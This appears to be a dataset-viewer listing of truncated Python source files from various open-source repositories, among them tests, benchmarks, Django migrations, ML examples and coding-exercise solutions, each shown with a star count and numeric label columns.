grow/sdk/installers/gulp_installer_test.py | akashkalal/grow | 335 | 1641476 | <reponame>akashkalal/grow
"""Tests for Gulp Installer."""
import unittest
import mock
from grow.common import base_config
from grow.pods import pods
from grow import storage
from grow.sdk.installers import base_installer
from grow.sdk.installers import gulp_installer
from grow.testing import testing
class GulpInstal... | 0 | 0 | 0 | 0 | 0 | 0 |
examples/frameworks/tensorboardx/moviepy_tensorboardx.py | patzm/clearml | 2,097 | 1641479 | <reponame>patzm/clearml
# ClearML - Example of pytorch with tensorboardX add_video.
#
from __future__ import print_function
import torch
from tensorboardX import SummaryWriter
from clearml import Task
def main():
# Connecting ClearML with the current process,
# from here on everything is logged automatical... | 0 | 0 | 0 | 0 | 0 | 0 |
tools/presubmit_v8.py | federicamontes/scal | 120 | 1641493 | <reponame>federicamontes/scal
#!/usr/bin/env python
#
# Copyright 2012 the V8 project authors. All rights reserved.
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain th... | 0 | 0 | 0 | 0 | 0 | 0 |
rotkehlchen/db/ens.py | rotkehlchenio/rotkehlchen | 137 | 1641520 | <filename>rotkehlchen/db/ens.py<gh_stars>100-1000
from typing import TYPE_CHECKING, Dict, List, Optional, Union
from pysqlcipher3 import dbapi2 as sqlcipher
from rotkehlchen.types import ChecksumEthAddress, EnsMapping, Timestamp
from rotkehlchen.utils.misc import ts_now
if TYPE_CHECKING:
from rotkehlchen.db.dbha... | 0 | 0 | 0 | 0 | 0 | 0 |
terrascript/resource/ukfast/ecloud.py | mjuenema/python-terrascript | 507 | 1641538 | <reponame>mjuenema/python-terrascript
# terrascript/resource/ukfast/ecloud.py
# Automatically generated by tools/makecode.py (24-Sep-2021 15:15:38 UTC)
import terrascript
class ecloud_firewallpolicy(terrascript.Resource):
pass
class ecloud_firewallrule(terrascript.Resource):
pass
class ecloud_floatingip(t... | 0 | 0 | 0 | 0 | 0 | 0 |
dev/fastai2/basics.py | anhquan0412/fastai_dev | 380 | 1641557 | <filename>dev/fastai2/basics.py
from .data.all import *
from .optimizer import *
from .learner import *
from .metrics import *
from .interpret import * | 0 | 0 | 0 | 0 | 0 | 0 |
bench/plot.py | ypnos/lunajson | 143 | 1641560 | <reponame>ypnos/lunajson
#!/usr/bin/env python3
from collections import defaultdict
import matplotlib.pyplot as plt
import numpy as np
import yaml
LIB_NAMES = {
'decode': {
'lunajson': ("lunajson decoder", 'C0'),
'lunajson_sax': ("lunajson SAX", 'C1'),
'dkjson_pure': ("dkjson w/o lpeg", '... | 0 | 0 | 0 | 0 | 0 | 0 |
test/smoke_test.py | hartb/vision | 12,063 | 1641573 | import torch
import torchvision
import torchvision.datasets as dset
import torchvision.transforms
| 0 | 0 | 0 | 0 | 0 | 0 |
Lib/test/test_ast_jy.py | jeff5/jython-whinchat | 577 | 1641654 | <gh_stars>100-1000
"""Extra unittests for ast in Jython. Look to integrate into CPython in the
future"""
import unittest
import ast
from test import test_support
def srcExprToTree(source, kind='exec'):
return compile(source, '<module>', kind, ast.PyCF_ONLY_AST)
class TestCompile(unittest.TestCase):
def tes... | 0 | 0 | 0 | 0 | 0 | 0 |
shot_profile_variance/winning_when_out_matched.py | airalcorn2/NBA_Tutorials | 123 | 1641657 | from __future__ import annotations
import random
import pandas as pd
from mpl_toolkits.mplot3d import Axes3D
from matplotlib import cm
import matplotlib.pyplot as plt
pd.set_option('display.max_columns', 500)
pd.set_option('display.width', 1000)
num_games = 1000
ot_shots = 10
##########################
# Team 1 - S... | 0 | 2 | 0 | 0 | 2 | 0 |
docs/core/benchmarks/tpclient_nt.py | Khymeira/twisted | 4,612 | 1641658 | """Non-twisted throughput client."""
import socket
import sys
import time
TIMES = 50000
S = "0123456789" * 1024
sent = len(S) * TIMES
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], int(sys.argv[2])))
start = time.time()
i = 0
while i < TIMES:
i ... | 0 | 0 | 0 | 0 | 0 | 0 |
URI Online Judge/Practice/question1038.py | kushagra1212/Competitive-Programming | 994 | 1641659 | #coding: utf-8
num = raw_input().split()
opc = int(num[0])
qtd = int(num[1])
if (opc == 1):
print("Total: R$ %.2f" % (4.0 * qtd))
elif (opc == 2):
print("Total: R$ %.2f" % (4.5* qtd))
elif (opc == 3):
print("Total: R$ %.2f" % (5.0 * qtd))
elif (opc == 4):
print("Total: R$ %.2f" % (2.0 * qtd))
else:
print("Tota... | 0 | 0 | 0 | 0 | 0 | 0 |
demo-project/src/demo_project/pipelines/data_ingestion/pipeline.py | admariner/kedro-viz | 125 | 1641694 | from kedro.pipeline import Pipeline, node
from kedro.pipeline.modular_pipeline import pipeline
from .nodes import (
aggregate_company_data,
apply_types_to_companies,
apply_types_to_reviews,
apply_types_to_shuttles,
combine_shuttle_level_information,
)
def create_pipeline(**kwargs) -> Pipeline:
... | 0 | 1 | 0 | 0 | 1 | 0 |
tests/tempdiskimage.py | jstrine/osxphotos | 656 | 1641712 | <filename>tests/tempdiskimage.py
""" Create a temporary disk image on MacOS """
import pathlib
import platform
import subprocess
import tempfile
import time
class TempDiskImage:
""" Create and mount a temporary disk image """
def __init__(self, size=100, prefix=None):
""" Create and mount a temporar... | 0 | 0 | 0 | 0 | 0 | 0 |
src/amuse/rfi/slurm.py | rknop/amuse | 131 | 1641750 | <reponame>rknop/amuse
def parse_slurm_tasks_per_node(string):
per_node = string.split(',')
result = []
for node in per_node:
parts = node.split('(')
count = parts[0]
if len(parts) == 2:
nodes = parts[1]
else:
nodes = None
try:
... | 0 | 0 | 0 | 0 | 0 | 0 |
src/other/ext/stepcode/src/exp2python/python/SCL/SCLBase.py | dservin/brlcad | 262 | 1641766 | <gh_stars>100-1000
# Copyright (c) 2011, <NAME> (<EMAIL>)
# All rights reserved.
# This file is part of the StepClassLibrary (SCL).
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# Redistributions of source code m... | 0 | 0 | 0 | 0 | 0 | 0 |
onnx2torch/node_converters/transpose.py | niobeus/onnx2torch | 144 | 1641775 | <filename>onnx2torch/node_converters/transpose.py
__all__ = ['OnnxTranspose']
from typing import List
from typing import Optional
import torch
from torch import nn
from onnx2torch.node_converters.registry import add_converter
from onnx2torch.onnx_graph import OnnxGraph
from onnx2torch.onnx_node import OnnxNode
from ... | 0 | 0 | 0 | 0 | 0 | 0 |
junction/proposals/migrations/0015_auto_20150806_2312.py | theSage21/junction | 192 | 1641777 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
import django_extensions.db.fields
from django.conf import settings
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies: list[object | tuple[str, str]] = [
migrations.swappable_dependency(settings.AU... | 0 | 0 | 2 | 0 | 2 | 0 |
spriteworld/configs/cobra/exploration.py | rosea-tf/spriteworld | 374 | 1641785 | <reponame>rosea-tf/spriteworld<filename>spriteworld/configs/cobra/exploration.py
# Copyright 2019 DeepMind Technologies Limited.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https:/... | 0 | 0 | 0 | 0 | 0 | 0 |
tools/fidl/difl/table.py | wwjiang007/fuchsia-1 | 210 | 1641796 | # Copyright 2019 The Fuchsia Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
from typing import List, Dict
from difl.ir import Table
from difl.changes import *
from difl.comparator import Comparator
def table_changes(before: Table, ... | 3 | 1 | 1 | 0 | 5 | 0 |
egs/librispeech/asr/simple_v1/local/arpa2fst.py | hegc/snowfall | 145 | 1641808 | <reponame>hegc/snowfall
#!/usr/bin/env python3
# Copyright 2020 Xiaomi Corporation (Author: <NAME>, <NAME>)
# Apache 2.0
"""
arpa2fst.py:
Similar to Kaldi's `lmbin/arpa2fst.cc`, rewritten in Python.
Generally, we do the following. Suppose we are adding an n-gram "A B C". Then find the node for "A B", add a new node
f... | 0 | 0 | 0 | 0 | 0 | 0 |
LeetCode/python3/64.py | ZintrulCre/LeetCode_Archiver | 279 | 1641816 | <reponame>ZintrulCre/LeetCode_Archiver
class Solution:
def minPathSum(self, grid: List[List[int]]) -> int:
dp = [[sys.maxsize for j in range(len(grid[i]))] for i in range(len(grid))]
dp[0][0] = grid[0][0]
for i in range(len(grid)):
for j in range(len(grid[i])):
dp... | 0 | 0 | 0 | 0 | 0 | 0 |
desktop/core/ext-py/xlwt-1.3.0/examples/mini.py | zhoudahong/hue | 5,079 | 1641833 | <gh_stars>1000+
#!/usr/bin/env python
# -*- coding: windows-1251 -*-
# Copyright (C) 2005 <NAME>
from xlwt import *
w = Workbook()
ws = w.add_sheet('xlwt was here')
w.save('mini.xls')
| 0 | 0 | 0 | 0 | 0 | 0 |
cartridge/shop/migrations/0003_emailfield.py | chandave/cartridge | 372 | 1641844 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import mezzanine.pages.managers
import mezzanine.core.managers
import cartridge.shop.managers
class Migration(migrations.Migration):
dependencies: list[tuple[str, str]] = [
('shop', '0002_auto_201412... | 0 | 0 | 2 | 0 | 2 | 0 |
examples/simple_saturation.py | ralfgerlich/simupy | 436 | 1641857 | <reponame>ralfgerlich/simupy
import numpy as np
import sympy as sp
import matplotlib.pyplot as plt
from simupy.systems.symbolic import DynamicalSystem, dynamicsymbols
from simupy import block_diagram
from simupy.array import Array, r_
from simupy.discontinuities import SwitchedOutput
BlockDiagram = block_diagram.Block... | 0 | 0 | 0 | 0 | 0 | 0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.